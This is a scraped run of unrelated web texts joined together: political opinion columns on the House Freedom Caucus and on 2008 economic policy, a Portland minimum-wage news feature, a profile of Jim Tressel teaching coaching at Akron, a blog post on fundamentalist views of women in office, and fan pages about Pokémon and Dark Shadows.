Al Jazeera. David Douglas and Jonathan Martin contributed to this report.House Speaker John Boehner, far right, and House Majority Whip Steve Scalise, look to Rep. Cathy McMorris Rodgers as she speaks on Captiol Hill on Sept. 29. (Carolyn Kaster/Associated Press)
The Republican Party’s “Freedom Caucus,” which has several less-charitable nicknames on Capitol Hill, is the dog that caught the car.
Now what?
Having (sort of) unseated Speaker John Boehner, these 37 or so uber-conservative House members are now scrambling for “a real leader.”
Except that they aren’t really because they have no one with the skills, experience or legislative record to offer. The “brat pack,” as they are also known, had a leader in Boehner but were too self-obsessed to recognize it or to see much beyond their own immediate gratification and pontifical aspirations.
They came to Washington not to govern but to fight. But what does one make of a little boys’ club with nothing to show for themselves other than a record of disruption and a talent for tantrums?
“These are the guys who couldn’t get a prom date,” one House member said to me privately. “They’d rather rape and pillage than do the hard work. They can’t get to first base much less hit a home run.”
This person is plainly not a fan, nor are other Republican congressmen who roll their eyes about caucus members who lecture them about the Constitution and rant about the debt. “Oh, thanks for telling us, moron,” says my hilltop muse. “We didn’t know.”
Now they can brag that they’ve deposed the speaker himself, which isn’t really true. Boehner probably could have prevailed in getting reelected, but what for? His leadership style has always been to lead where his members want to go. Unfortunately, this led to the shutdown of 2013, and he wasn’t willing to lead them there again — especially not over, of all things, defunding Planned Parenthood. The most pro-life speaker in history knew this was the wrong battle at exactly the wrong time.
The opposition “won” not because of superior skills or strategy but because Boehner is far more principled than they. He just plays a longer game and understands what these pretenders are incapable of seeing. Shutting down the government hurts Republicans — and it will hurt the GOP’s chances of winning the White House next year. Meanwhile, the narrative is that Boehner was an ineffective leader, a storyline long advanced by the Freedom Caucus and beloved by President Obama (hint, hint, boys). Only a conservative could love Boehner’s record, which included cutting $2.4 trillion from the deficit mostly from the spending side and without tax increases. Boehner has been a leader in free trade and is the only speaker to sue the president over separation of powers. Finally, and ironically, he was a tireless campaigner and fundraiser — even for his persecutors.
Boehner’s successor will almost certainly be Majority Leader Kevin McCarthy (Calif.), who was one of the self-declared “young guns” of the House, a posse that also included House Ways and Means Chairman Paul Ryan and former representative Eric Cantor (Va.). Cantor, the then-majority leader, was defeated in 2014 by economics professor and now-Freedom Caucus member Dave Brat.
The No. 2 position of majority leader is also up for grabs among Majority Whip Steve Scalise (La.), known for having once spoken to a white supremacist group, and Rep. Tom Price (Ga.), who has received powerful endorsements from Ryan and Rep. Jeb Hensarling (Tex.).
Missing from the contest is the lone woman in the GOP leadership, Cathy McMorris Rodgers (Wash.), who considered running but announced Monday night that she would not. Currently the chair of the House Republican Conference, she would have been the first female majority leader in history. (Democrat Nancy Pelosi was minority leader before becoming speaker in 2007.)
When Rep. Kevin McCarthy (R-Calif.) was 19, he won $5,000 in the California lottery. Here are three other facts you probably didn't know about the House majority leader. (Pamela Kirkland/The Washington Post)
There is a sense among many women on the hill that the boys won again, as in, we’ve got a girl in the No. 4 job, we don’t need her in No. 2. Although this may be true to some extent, others see an alternative scenario — a long-game strategy in the Boehner tradition. Rodgers is well liked and may have elected to bide her time. She’s a steady presence and a leader to be reckoned with — and she’s not going anywhere.
The Freedom Caucus, alas, isn’t either, thanks to gerrymandering that makes their jobs secure except from an even-more-conservative Republican challenger. One hopes for sanity’s sake that voters in the relevant districts will begin to see that though they love a fighter, they need one who has something to offer upon winning, other than whining.
Read more from Kathleen Parker’s archive, follow her on Twitter or find her on Facebook.The unemployment report on Friday was brutally bad. Unemployment rose in December, while job creation was minimal -- and its highly likely, for technical reasons, that the job number will be revised down, showing an actual decline in employment.
AFP So much for "containment."
Its the latest piece of bad news about an economy in which the employment situation has actually been deteriorating for the past year. Its no longer possible to hope that the effects of the housing slump will remain contained, as one of 2007s buzzwords had it. The levees have been breached, and the repercussions of the housing crisis are spreading across the economy as a whole.
Its not certain, even now, that well have a formal recession, although given the news on Friday you have to say that the odds are that we will. But what is clear is that 2008 will be a troubled year for the US economy -- and that as a result, the overall economic record of the Bush years will have been dreary at best: two and a half years of slumping employment, three and a half years of good but not great growth, and two more years of renewed economic distress.
The November election will take place against that background of economic distress, which ought to be good news for candidates running on a platform of change.
But the opponents of change, those who want to keep the Bush legacy intact, are not without resources. In fact, theyve already made their standard pivot when things turn bad -- the pivot from hype to fear. And in case you havent noticed, theyre very, very good at the fear thing.
You see, for 30 years American politics has been dominated by a political movement practicing Robin-Hood-in-reverse, giving unto those that hath while taking from those who dont. And one secret of that long domination has been a remarkable flexibility in economic debate. The policies never change -- but the arguments for these policies turn on a dime.
When the economy is doing reasonably well, the debate is dominated by hype -- by the claim that Americas prosperity is truly wondrous, and that conservative economic policies deserve all the credit.
But when things turn down, there is a seamless transition from Its morning in America! Hurray for tax cuts! to The economy is slumping! Raising taxes would be a disaster!
Thus, until just the other day Bush administration officials were in denial about the economys problems. They were still insisting that the economy was strong, and touting the Bush boom -- the improvement in the job situation that took place between the summer of 2003 and the end of 2006 -- as proof of the efficacy of tax cuts.
But now, without ever acknowledging that maybe things werent that great after all, President Bush is warning that given the economys problems, the worst thing the Congress could do is raise taxes on the American people and on American businesses.
And even more dire warnings are coming from some of the Republican presidential candidates. For example, John McCains campaign Web site cautions darkly that Entrepreneurs should not be taxed into submission. John McCain will make the Bush income and investment tax cuts permanent, keeping income tax rates at their current level and fighting the Democrats plans for a crippling tax increase in 2011.
What crippling tax increase, which would tax entrepreneurs into submission, is Mr. McCain talking about? The answer is, proposals by Democrats to let the Bush tax cuts for people making more than $250,000 a year expire, returning upper-income tax rates to the levels that prevailed in the Clinton years.
And we all remember how little entrepreneurship there was, how weakly the economy performed, during the Clinton years, right? Oh, wait. (Ive put some charts comparing job performance during the Clinton and Bush years on my Times blog, krugman.blogs.nytimes.com. Its pretty startling how comparatively weak the Bush era looks.)
Never mind. The whole point of scare tactics is that they can work even in the face of inconvenient facts.
And what Im not sure about is whether the Democrats are ready for the fight theyre about to face.
Not to put too fine a point on it, Barack Obama won his impressive victory in Iowa with a sunny, upbeat message of change.
But theres a powerful political faction in this country that understands very well that any real change will create losers as well as winners. In particular, any serious progressive reform of health care, let alone a broader attempt to reduce middle-class insecurity and inequality, will have to mean higher taxes on the affluent. And members of that faction will do whatever it takes to scare people into believing that change means disaster for the economy.
I dont think theyll succeed. But it would be a big mistake to assume that they wont.I’m back! Finals finally ended, and I have three full months to recover and start to work again on some of my projects. Keep an eye out for a PJM re-reveal very soon, I haven’t dropped it and it will come back better than ever!
Today’s question is more in line with the previous question of Aqua vs. Magma and seeing as Hoenn actually got confurmed, it has all the more reason to exist. So, Acro bike or Mach bike. What was your favourite bike in RSE? And which mechanic did you like the most, cycling up slopes or jumping on rails? Did you prefer speed or would you rather perform acrobatics? Tell us about it in the comments! You can also vote in the poll to the right –>
Know that I will be patrolling the comments more, so watch your steps. I’m trying to find a good and fast way of contacting me should a problem pops up, to mitigate all the outbursts happening. I also have a new idea for an article series, which will most likely be my next article :).
Enjoy the commenting side of life!
~Daedardus~Bare Minimum A Radical City Council Candidate Finally Has Us Talking About the Minimum Wage—But How Far Will It Go?
THE DIGNITARIES LEAVING Mayor Charlie Hales' State of the City speech at the Sentinel (née Governor Hotel) on Friday, March 14, had a choice.
They could duck through Jake's Grill—the esteemed see-and-be-seen eatery on the first floor—and maybe stop for a drink on their way out the doors on SW 10th. Or they could strut through the hotel's grand lobby along SW 11th and bask in the sunlight while waiting for the valets to fetch their cars.
State Representative Jessica Vega Pederson, a Democrat from East Portland, chose the latter. But she had some company.
A dozen activists had spread up and down the curb in front of the hotel, all waving cheerful red placards showing a large "15." They'd come with Nick Caleb, a newly declared Portland City Council candidate, on a mission to visibly promote perhaps the most important issue in his campaign: raising the city's minimum wage to a nearly unprecedented $15 an hour.
And Pederson—someone with the power to do something about that—was precisely the kind of captive audience member they'd been hoping to engage. She smiled at them while they shouted Caleb's name to passersby. Then, when her black SUV pulled up, she got in and drove away.
Pederson, at least, was pleasant. Most people walked right by.
"There was one lady waving at us," says Caleb, an attorney and Concordia University professor, "like we were smelly."
That's not to say either Caleb or the minimum wage issue he's seized on will go away any time soon.
In announcing an insurgent bid against City Commissioner Dan Saltzman, Caleb has shaken awake an otherwise sleepy re-election season. And he's done it by forcing Portland, and by extension the rest of Oregon, to finally take part in a debate that's not only washed over the White House, but also our biggest neighbor to the north, Seattle.
Winning that debate won't be easy. It might be impossible. Oregon law—shaped by business interests deeply opposed to minimum wage hikes—prevents cities from passing their own comprehensive living wages. And that means Portland's fight is just as much Salem's.
But even if Caleb loses—distinctly likely in a city where incumbents clutch power like monarchs—he'll have planted a flag.
Saltzman has since come out publicly in favor of an increase—risking the ire of the business interests who've traditionally funded him. He's even looking to lobby Salem to do something, anything.
Maybe we won't get $15 an hour. But we might get something.
At the dinner hour on the day of Hales' speech, customers inside the McDonald's at NE Weidler and Grand stared out the glass doors, leery.
The sidewalks outside the restaurant are dingy and often crowded. On this evening, they were packed with tambourining humanity. Drivers heading north after another workweek laid on their horns, spurred on by signs ordering them to "Honk for $15 Now," telling them "Portland Needs a Raise."
"I got a question," a woman headed into the restaurant said to one of the sign bearers. "What is '15 Now'? What is that?"
The real answer is longer than what the woman got. It starts with the obvious: The 25 or so people rallying outside of the McDonald's want a $15 minimum wage. Now.
Spurred on by Caleb's call to arms—and emboldened by successes elsewhere in the Northwest—Portland activists were finally ready, on March 14, to rally for higher wages.
To say our progressive city is late to the party doesn't quite capture how far we've trailed the rest of the nation.
Low-wage employees in cities around the country have been clamoring for better pay since fall 2012. In New York, St. Louis, Chicago, Detroit, and Milwaukee, workers held protests demanding better pay and the right to unionize. Some employees walked off the job. Managers, too.
By December 2013, the Service Employees International Union (SEIU) had joined the fight, sparking more walkouts and pickets in dozens of cities. And, at some point in between, the fervor reached Seattle and caught fire.
Seattle, in fact, has everything to do with Portland's newfound conscience about the minimum wage.
Caleb has cribbed much of his campaign—and strategy—from Kshama Sawant, a socialist, economics instructor, and former Occupy organizer who shocked the nation last year by unseating an established Democratic incumbent in a hard-fought race for Seattle City Council.
The rhetoric that sent her to office included doing away with "corporate politicians," lowering rents, and raising taxes for the rich. Most of all, though, she pushed the $15 minimum wage.
Sawant and her political organization, Socialist Alternative, first grabbed hold of the $15 figure early last year—taking the baton from fast-food workers in New York, who claimed they couldn't survive in that expensive city without at least that much. Socialist Alternative had previously advocated a $12.50 wage.
But $15 has taken root in Seattle like nowhere else.
As Sawant won her council seat last November, voters in the industrial suburb of SeaTac approved a $15 minimum wage for all but the smallest businesses. By that time, Seattle mayoral candidate (and now mayor) Ed Murray had promised he'd push the wage if voted into office. Today, the entire city council publicly backs an increase.
"We've won the public debate," says Ramy Khalil, a Socialist Alternative organizer and activist with 15 Now, the group pushing the $15 minimum wage in Seattle. "Similar things can be done in Portland."
Roughly a month ago, Khalil and others organized Portland's first-ever Socialist Alternative chapter. It's small, members say—about seven members. But it's that group that organized the March 14 McDonald's rally.
"We've been waiting to start a branch of our membership in Portland for a long time," Khalil says. "It wasn't until we got one of our members elected to Seattle City Council that we got the interest."
Caleb, while mulling over his own city council race, says he chatted up Khalil and other Seattle activists who'd been in town organizing. Since announcing, Caleb's continued to speak with them. His platform, after all, is rife with the values that propelled Sawant to office.
Beyond a higher minimum wage, Caleb is pushing strong unions and better environmental protections. He's advocating for a more compassionate approach to homelessness, stemming gentrification, and better police oversight. Plus, Caleb's vowed to forego a full council salary and accept only what an average Portland worker makes (almost $50,000, compared to more than $100,000).
"One of the primary responsibilities of political leaders is to actually have politics," Caleb says. "We need movement building."
After some extended consideration, Socialist Alternative's Portland branch formally endorsed Caleb. The group had been conflicted because Caleb—a registered Green Party member who speaks candidly about his disillusionment with Democrats—hasn't declared war on establishment politics.
"We really like his platform," Khalil says. "The only big issue is he hasn't said clearly whether he's going to be independent from the Democratic Party. We see the Democratic Party as a trap."'
But mainstream politicians have come around to a wage hike, too. Democrats are flogging the notion of increasing the federal minimum wage as the November elections approach. President Barack Obama proposed increasing the federal minimum wage from $7.25 to $9 in his 2013 State of the Union Address, but has since joined the call for a $10.10 wage.
That measure has so far been delayed by Republicans, who claim an increase would kill jobs and/or harm small businesses. So Obama's done what he can; he signed an executive order requiring federal contractors to pay their employees at least $10.10 an hour.
There's movement among the states, too. In September, California lawmakers agreed to set a nation-leading $10 minimum wage by 2016. New Jersey voters bumped their minimum wage $1 in January. It's now $8.25. Activists in other states are circulating petitions.
"I don't believe elected leaders have an appetite for any big social change, frankly," says Felisa Hagins, political director for SEIU Local 49, which represents thousands of hospital, custodial, and security workers. "It's up to the grassroots folks to change that appetite. Obama didn't wake up one morning and say, 'You know what would be awesome? Raising the minimum wage.' It was workers standing up."
Oregon deserves a round of perfunctory applause for doing something only 10 other states have managed: In 2002, we approved Measure 25, a ballot initiative that raised our minimum wage some 40 cents and then built in annual increases so that new minimum would keep pace with inflation.
Washington State's minimum wage leads the nation at $9.32. But Oregon is now right behind it, at $9.10. That's less than $19,000 a year for a full-time worker, not enough to keep a family of three above the federal poverty line. It's also a far cry from $15, which works out to $31,200 a year. Or the $10.10 figure being tossed about nationally ($21,000 a year).
And even Measure 25 wasn't without controversy.
"People said all kinds of things would happen: mass unemployment, businesses shutting down," says Hagins. "None of that came to fruition."
Chuck Sheketoff of the progressive-leaning Oregon Center for Public Policy said not only did raising the minimum wage not have a "negative impact," but that "poverty would be worse if we didn't have it."
"It's been good for Oregon and good for Oregonians," he says.
But Oregon's bold leap forward followed a little-known policy secret.
More than a year before voters approved Measure 25, the Oregon Legislature sent Governor John Kitzhaber a bill that pre-emptively stripped away local governments' ability to set their own minimum wages.
That legislation, HB 2744, was the brainchild of the Oregon Restaurant Association—the powerful lobbying group for the state's restaurateurs. It meant Oregon, for better or worse, would have just one minimum wage—even if more progressive towns, like Salem, Portland, or Eugene, might heartily support something higher.
The lore today is that the two policies were connected as part of a compromise—the pre-emption traded for annual increases. That's how Saltzman and others initially described it. Bill Perry, the restaurant group's top lobbyist then and now (it's since merged with the hotel industry's trade group to become the Oregon Restaurant and Lodging Association [ORLA]), insists that isn't the case.
"They were separate," he says, arguing the pre-emption was driven by the fear of a patchwork nightmare of local wage laws.
"It's too hard to do business in that environment," he says. "We were saying this is a statewide issue."
Perry's version of the origin story seems to be borne out in Oregonian clips from the 2001 legislative session. Neither Measure 25 nor the general notion of an inflation-indexed minimum wage appear in stories chronicling HB 2744's rise to law. The patchwork argument did. So did fear of the growing living-wage movement—and brewing talk that cities might take minimum wage matters into their own hands.
"I see it coming," Perry candidly told the Oregonian in April 2001. "I'm just trying to stop it."
Measure 25 was never seen as a panacea.
"We indexed our minimum wage 15 years too late," says Hagins, arguing that keeping the minimum wage mostly stagnant before 2002 had already sapped it of the purchasing power it had years ago.
But in providing for automatic annual increases—letting lawmakers off the hook—it's effectively quashed any serious talk about a more dramatic hike.
That might change in an election year that's seen Democrats across the nation go lockstep in raising hell over income inequality—and in the shadow of a decisive populist victory by a radical like Sawant.
In Oregon, until Caleb made himself the local face of the $15 movement, that public conversation had mostly been led by Labor Commissioner Brad Avakian. Avakian's been everywhere talking up the minimum wage—telling a forum of Democrats in Marion County last month, for example, that he'd rather index it to the federal poverty line for a family.
And, for what it's worth, prominent political polling firm DHM Research told the Mercury it couldn't comment on how a minimum wage fight might play in Oregon because it's actively working on the issue.
The wage fight has been slower, however, to penetrate the veils of power in the Oregon Legislature.
Talk about income equality and workers' rights has focused more on issues like paid sick time, affordable housing, and income disparities for women and minorities. Those issues may yet loom larger during next year's session.
"There should be room for a variety of progressive causes," says Hagins, calling the minimum wage "wildly important."
Even if legislative leaders do create that space, it's unclear what a minimum wage fight might look like.
If it's framed as a fight against the state pre-emption on local minimum wages—prompted by agitation in Portland—that may not impress rural and suburban lawmakers loath to let Oregon's biggest city get its way. Plus, lifting a pre-emption on any subject is a tough sell: Multnomah County has tried for years to win permission to raise its tobacco tax in order to better fund health programs.
"If we can't allow Multnomah County to raise a cigarette tax, then I don't know how you'll get them to allow anyone to raise their own minimum wage," says Joe Baessler, political director for the American Federation of State, County, and Municipal Employees of Oregon. "The 'patchwork' argument is something a lot of legislators fall back on as an excuse for not wanting to do this stuff. It's a very frustrating argument."
Not fighting over the pre-emption could still leave a debate over a statewide increase. And even that comes with questions: How much? Should we keep the inflation index? Should legislators approve it themselves? Or should they punt to voters?
"There needs to be a conversation," says Tom Powers, a spokesman for Senate Majority Leader Diane Rosenbaum, one of the leaders behind Measure 25. Powers says his boss has been talking to Avakian. "We're definitely hearing about this more than we have in the recent past."
Portland may not be as powerless as it thinks.
Saltzman has come out for a wage between $10 and $15. But he initially threw up his hands when we spoke to him, citing the pre-emption. Now, he says, upon further reflection, Portland should target that pre-emption when it drafts its legislative lobbying agenda next year.
And in case lawmakers are turned off by the notion that this is a Portland-only problem, he also wants to take it before the League of Oregon Cities, which could push it at the statewide level.
"I'm definitely interested in both," he says.
Saltzman's embrace of the issue is canny: He's tied it to his longstanding advocacy for women's and children's issues. And he pointed to existing city policies—under a loophole in the pre-emption measure—that force contractors to pay certain workers more than the minimum wage. He wouldn't vote for the Portland Timbers stadium deal in 2009 unless the Timbers agreed to pay their concession workers about $11 an hour.
"I've been talking about it for quite a while," he contends, taking pains to stress that he advocated for a minimum wage increase in a Portland Business Alliance candidate questionnaire. "It's no secret. I just haven't been talking about it publicly. I've been thinking about it since the president's State of the Union. A lot of people have been thinking about it more."
(The Mercury asked the Portland Business Alliance, small business lobbying group Venture Portland, and several small business owners for their reflections on what a higher minimum wage could mean. Only the PBA responded, declining to comment.)
Caleb, when he first proposed a $15 minimum wage, didn't realize there was a state pre-emption until told by the Mercury. "It took me a whole 30 minutes to come up with a plan," he joked at his first campaign rally. "We can be creative."
Caleb's proposal is to tax businesses who aren't paying their workers $15 an hour, then use that money to create a city fund that would subsidize employees' pay.
"We're pre-empted from raising a minimum wage," he says, "but we're not pre-empted from creating a penalty system for people who won't pay a living wage."
Saltzman's support, as the presumptive favorite in the city council race, has encouraged at least one of his colleagues on the council to join him. And that makes things even more interesting.
Nick Fish, a former labor lawyer also up for re-election this spring, tells the Mercury he'd back a fight against the pre-emption, as well as a broader effort to raise the statewide wage.
"As a consistent champion for reducing inequality and helping struggling families," he said in a statement, "I fully support legislative action to provide a living wage for Oregon workers. It is unacceptable that people working at Walmart still qualify for food stamps."
Dana Haynes, a spokesman for Mayor Charlie Hales, says an earnest dive into the city's legislative agenda won't start until after the city's budget is approved this spring. But he says Hales' chief of staff, Gail Shibley, and Martha Pellegrino, the city's top lobbyist, are interested in taking a deeper look.
"There was nobody who said, 'Nah, we don't want to talk about it,'" Haynes says.
That all presumes the Oregon House doesn't flip Republican this fall. Because
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13-year tenure with the Zips.
Tressel is an imposing presence on Akron's campus. His new title, Vice President for Student Success, means he has his hands in every department of the university. He’s constantly speaking, meeting with people and offering suggestions. He’s a coach in every sense of the word, even if he doesn’t roam the sidelines anymore.
“I have been fortunate enough to get my education all around the world,” Akron Department of Sport Science & Wellness Education chair Dr. Victor Pinheiro said, “and I’ve had the best of teachers. I’ve worked with Nobel Laureates and all that good stuff. And [Tressel] stands right up there with them. The knowledge base he brings to this domain is just amazing.”
The students at Akron are like students everywhere, adolescents slowly becoming men and women, still trying to understand identity before they can start to figure out what their own identity is. In regard to college sports, the words student and student-athlete get tossed around a lot, especially during scandals like the one that enveloped Tressel’s final days at Ohio State.
But being a student-athlete means something. So does being a coach. And to hear Tressel and Dennison tell it, coaches are sometimes their kids’ only consistent point of contact.
*****
“We happen to believe one of the greatest needs in this country -- we have 60 to 65 million young people playing sports -- we have so many opportunities for coaching. We can build a foundation at a young age and have an impact. The impact we can have, and need to have, as coaches is tremendous.”
In 1975, after Tressel finished his college career as a quarterback at Baldwin-Wallace University, in Berea, Ohio, he was invited by then-Akron coach Dennison to come on as a graduate assistant. Tressel sat through a class very similar to the one he now teaches on Wednesdays this fall. Back then, he wasn’t Jim Tressel, embattled former Ohio State coach. He wasn’t even Jim Tressel, Youngstown State head coach. He was Jim Tressel, 23-year-old young adult. His journey had barely begun.
In the introductory “Principles of Teaching” lecture, Dennison likewise went through his career progression. He lost his father at a young age, and his coaches were there for him. They set him on a path to become the person he would be down the road.
“The two most important days of your life are the day you were born and the day you found out why,” Dennison said. “I found out when I was a junior in high school. I wanted to be a coach.”
Life is one big series of decisions. For those who have lived a life as full as Dennison has, those decisions carry a bit more weight.
“This is a great profession because of the great people,” Dennison said. “It’s never been about me; it’s always been about others.”
*****
“Coaching is the purest form of teaching there is. We are responsible for players 24 hours a day. […] When the misfortune happens, we’re a part of that too.”
It’s probably no mere coincidence that the repeated refrain in the first week of “Principles of Coaching” was that the coach is ultimately responsible for the player. That extends to on-field technique, player safety and the way an athlete handles himself in society.
At some point during the class, that lesson brought to mind the Buckeyes’ now-infamous tattoo-parlor scandal. And Penn State. And concussions. And Aaron Hernandez. None of it felt right, but given the teacher and subject material, the connection was inescapable.
People associate coaches with their records. That is, until they don’t.
“They’re both positive men, and they’ve both been through a lot,” student John Hannon said of Tressel and Dennison. Hannon was in campus ministry at Akron while Dennison was coaching, and he read devotions to the football team as an honorary chaplain. Now a part-time professor at John Carroll University, Hannon decided to take “Principles of Coaching” to learn the parallels between coaching and life.
“They’ve learned from their mistakes and learned from their failure,” said Hannon, “and the biggest thing they’ve already said is that coaching is basically bringing the best out of those you have responsibility for and helping them be the best they can be.”
Jim Tressel led Ohio State to a BCS title, but resigned following a tattoo scandal. (Gregory Shamus/Getty Images) Jim Tressel led Ohio State to a BCS title, but resigned following a tattoo scandal. (Gregory Shamus/Getty Images)
Tressel outlined a list of characteristics that truly make a coach, from patience to the importance of never losing sight of the big picture. He also referenced a quote from Albert Einstein, which he repeated until the class (and the individuals participating at satellite campuses via a live feed) had written it down.
“Concern for man and his fate must be the chief interests of all technical endeavors. Never forget this in the midst of your diagrams and equations.”
Coaches spend the vast majority of their time figuring out how to win games, which is the single most important factor when it comes to keeping their jobs. They must overcome scrutiny and deal with off-the-field issues while simultaneously managing expectations, stress and their own personal relationships. It’s when that combination of things becomes bigger than the players they’re responsible for that the cracks begin to show.
“I either taught them that or I allowed it to be that way,” Tressel said, “and I didn’t see the signs. It’s the coaches’ fault when you see the wrong behaviors.”
Standing in front of a classroom, Tressel was dynamic. There were even whispers that he might be the next president of the university. He cracked jokes; at one point during the class, a student near the front admitted to being a University of Michigan and Cleveland sports fan. Tressel responded: “So you’re used to being miserable.”
If he’s not at peace with the events that led to his resignation at Ohio State, which included a pattern of violations that SI extensively investigated and reported, he doesn’t show it publicly. He has moved on, away from the Horseshoe, away from the scarlet and gray, away from the school he once led to a BCS championship.
But Tressel is a career coach. Coaches care about their former players, and he is no exception. At one point, he perked up when a student admitted to being an Oakland Raiders fan.
“Terrelle [Pryor] is starting tomorrow!” Tressel said. (Pryor has since been named the Raiders starting quarterback for Week 1.)
“Maybe,” the student said.
“What do you mean maybe?” said Tressel. “I talked to him yesterday. You know something I don’t?”
*****
“The kids haven’t changed as much as the parents have. They want to know what you expect. There’s the opportunity.”
As long as there are sports, there will always be coaches. And coaches have to learn from someone, too.
Tressel learned from his father, Dr. Lee J. Tressel. He also learned from Dennison, as did Mark Dantonio, who later coached with Tressel at Youngstown State and then with Nick Saban at Michigan State. Saban learned from Don James, who also mentored Missouri’s Gary Pinkel. It seems like half the coaches in the MAC got their start under Tressel or someone who coached with Tressel. (As Tressel was leaving Ohio State to become Youngstown State’s head coach in 1986, a young high school coach named Urban Meyer was hired as a graduate assistant with the Buckeyes.)
“Help other people get what they want,” Dennison said during his portion of the class, “and you can get anywhere.”
Dennison also quoted John Wooden, making the class write a phrase down word for word.
“Success is the peace of mind which is the direct result of the self-satisfaction in knowing you did your best to become the best you’re capable of becoming.”
Coaching trees stand as evidence of two things: One, there’s no way of knowing who will become the next great head coach; and two, there’s no way of knowing where that coach will come from. She might be the woman in the corner who is coaching Little League. Or he might be the first-timer driving in from Pennsylvania who always wanted to coach but never knew how. He might be the star basketball player taking this class because his coach is a guest speaker.
“I may not want to be a coach per se,” Sport Administration and Coaching graduate student Ashley Mowen said, “but I feel like both of them, both Jims, their philosophies on coaching and leading will carry out through life.”
Not everyone in Tressel’s class will be a coach someday. In fact, most won’t. But there are particular lessons that Tressel and Dennison want their students to take away from their experience.Every now and then, I find it useful to take a break from monitoring the familiar Religious Right groups and venture into the darker corners of the web where the lunatic fringe lurks. You see some interesting – and disturbing – things there.
For example, a group of far-right, fundamentalist Lutherans has been debating whether a woman can be president. Their answer is no. It is, you see, unbiblical.
The editors of Christian News, a tabloid based in New Haven, Mo., recently published a piece pointing out that when U.S. Sen. John McCain (R-Ariz.) added then-Alaska Gov. Sarah Palin to the Republican ticket in 2008, many conservatives were excited. They believed Palin was a modern-day Deborah, referring to the Old Testament figure who was a warrior and a leader.
OK, you can be class president, but that’s as far as it goes.
Alas, the editors of Christian News had to pour cold water on that. Palin was awesome, they agreed – but a woman still can’t be president.
“Sarah Palin may be a 21st century Deborah, God’s exception to the rule because many men today in high office fall short of God’s standards as did the men of Deborah’s time,” observed the paper.
But let’s be clear, dudes falling down on the job does not justify turning things over to a woman, the paper concludes, because a woman’s first duty is to take care of the house and kids and stand by her man.
“Yet the general scriptural rule still stands,” asserts the newspaper. “A woman’s highest calling is in the home and the greatest women in history are mothers who raised God-fearing children and supported the work of their husbands.”
Elsewhere, the paper reprints a 1990 column by a man named John M. Drickamer, who observes, “If a wife is supposed to be subordinate to her husband ‘in everything’ (Ephesians 5:24), then she is not supposed to rule him in government, on the job, etc. All such authority by women over men tends to or directly does militate against the woman’s subordination in the family. And the family is the basic unit within the state.”
Drickamer adds, “Many people will think I am being outrageous here. … But feminism has so dominated current thought that most people today have forgotten the real facts of history – and have ignored the real facts of their own experience – that it is better for everyone to have strong families, in good order, with responsible husbands and obedient wives.” (Unfortunately, these articles are not online. Christian News has a website, but it’s just a vehicle for selling subscriptions.)
I'll leave it to you to decide if Drickamer is being outrageous. But I do want to point out that if he is, he’s far from the only one. Not only are there people who believe women should not hold office, some say they shouldn’t even have the right to vote. When news of Donald Trump’s crass comments about women came to light earlier this month, Twitter exploded with people arguing that the Nineteenth Amendment should be repealed. (Please note that sites like "Return of Kings" and Christian News are not parodies – and I apologize in advance for linking to them. Remember, you’ll need to find a way to cleanse the stupid out of your brain after visiting.)
People come up with all kinds of ways to justify their bizarre ideas and their plans to take away the rights of others. Labeling something “unbiblical” and tossing in a scriptural passage is the usual trump card in the world of the Religious Right.
Thankfully, it’s not that way in the real world. If we maintain a high and firm church-state wall, we can keep these loons where they belong: navel gazing in forgotten corners of the web instead of making policy in the halls of government.About
This web-log is for the continuation and discussion of the radio drama The Pit of Ultimate Dark Shadows. Because the program contains many characters and scenes its creator felt the need to provide inquiries on what is enjoyed and considered for each listener during an episode.
The Pit of Ultimate Dark Shadows is a relief series for Dark Shadows which includes many other classic characters from film and television. It celebrates problem-solving and diversity, two of the main components in a fruitful and sustaining life.
No pre-requisite viewing of shows is required to listen to this series. If you enjoy spooky, humour, deep-thought, audio dramas, and companionship you will likely enjoy this show.
To engage with your entertainer directly, please contact her: [email protected]
I would like to advise new fans to Dark Shadows in general, because I know the original series is becoming far more available now than ever before, that, like much in the online world, caution should be used in what search engines can provide. Dark Shadows itself is incredibly unique, but it was also not easily available for decades so the storytelling focus of earlier fans went down some difficult roads. Many fans still carry that focus of relying on hearsay and non-canon fanfiction. This makes sense but it isn’t a happy tale much of the time.
I am very welcoming to new fans who are able to digest the show as I and other newer fans can do. We need you and we need each other.
As for myself? I’m grateful I grew up on interviews and documentaries. Many pioneers have come into exceptional abilities throughout the course of humanity. I got “lucky”, and lucky swings both ways. Otherwise? I’m your standard make of mortal. 🙂
keep in touch,
Daryl
AdvertisementsFrom Bulbapedia, the community-driven Pokémon encyclopedia.
If you were looking for the CD, see Pokémon Theme (single).
Pokémon Theme is the opening theme song for the English dub of the first season, Pokémon: Indigo League. It was used from Pokémon - I Choose You! to Friends to the End. Being featured in 79 episodes, it is the most-used dub opening theme. The opening animation is composed of clips from the first Japanese opening, Aim to Be a Pokémon Master, and episode clips from the Pokémon: Indigo League season. It was written and produced by John Loeffler. The lead vocal was sung by Jason Paige.
The song was played at the end of the VHS A Sneak Peek at Pokémon. A full version of the song is available on the Pokémon 2.B.A. Master and Pokémon X audio CDs, and includes a second verse not usually heard in the show. This version is also featured in the episodes of the anime Bye Bye Butterfree, All Fired Up!, and Friends To The End. Another full version sung by Billy Crawford was the theme played during the opening credits of Mewtwo Strikes Back, and is the first track on the movie's soundtrack.
Pokémon Theme was later used as the first verse of Born to Be a Winner, a later opening theme.
A remixed version titled Pokémon Theme (Version XY) is the opening theme song for the season Pokémon the Series: XY. It was used from Kalos, Where Dreams and Adventures Begin! to Bonnie for the Defense!. The opening animation is composed of clips from the first XY series Japanese opening, V (Volt). A full-length version is used as the opening song of Diancie and the Cocoon of Destruction.
An orchestral version of the song is part of the setlist for Pokémon: Symphonic Evolutions.
A remixed version titled Pokémon Theme (Gotta Catch 'Em All) was played as the opening theme of I Choose You!. It was performed by Ben Dixon, produced by Ed Goldfarb and Stan Cotey, and mixed by Jeff Stuart Saltzman. A solo piano version of the theme performed by Ed Goldfarb is used as part of the ending after I Choose You.
Opening animation: Dub OP 1
Synopsis
Mew
The clip begins with Mewtwo and a shining Mew floating in space, as the camera focuses on Earth, while the sun starts to rise. The next scene shows Ash alone in a stadium. After that, a Squirtle, Cubone and Pidgeotto are shown quickly, before changing to a Bulbasaur being caught, to which Ash snaps excitedly. Shortly afterwards, the camera shows a Haunter using Lick on Charmander, paralyzing him.
